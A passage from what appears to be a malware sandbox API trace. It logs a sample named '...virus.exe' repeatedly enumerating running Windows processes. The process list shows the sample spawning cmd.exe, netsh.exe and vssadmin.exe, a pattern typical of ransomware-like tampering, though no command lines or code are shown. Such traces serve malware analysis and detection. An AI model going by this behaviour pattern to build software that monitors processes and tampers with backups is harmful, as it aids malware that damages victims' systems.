| out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.259] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.259] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.262] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.262] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0229.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0229.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0229.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0229.265] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0229.265] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0229.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0229.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0229.267] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0229.267] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0229.267] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0229.268] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0229.270] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.270] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0229.271] CloseHandle (hObject=0x1a8) returned 1 [0229.271] Sleep (dwMilliseconds=0x1f4) [0229.782] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0229.784] Process32FirstW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.784] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0229.785] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0229.785] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.786] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0229.786] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.786] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0229.787] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0229.787] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0229.788] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0229.788] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.789] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.790] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.790] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.791] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.791] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.791] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.792] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.792] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.793] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0229.793] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.794] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0229.794] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.794] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0229.795] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0229.795] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0229.796] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0229.796] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0229.796] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0229.797] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0229.797] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0229.798] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0229.798] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0229.799] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.799] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0229.799] CloseHandle (hObject=0x190) returned 1 [0229.799] Sleep (dwMilliseconds=0x1f4) [0230.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0230.314] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.314] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.314] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.315] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.315] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.315] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.316] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.316] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.316] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.317] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0230.317] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.317] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.318] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.318] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.318] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.319] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.319] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.319] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.320] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.320] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.320] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.321] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0230.321] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: 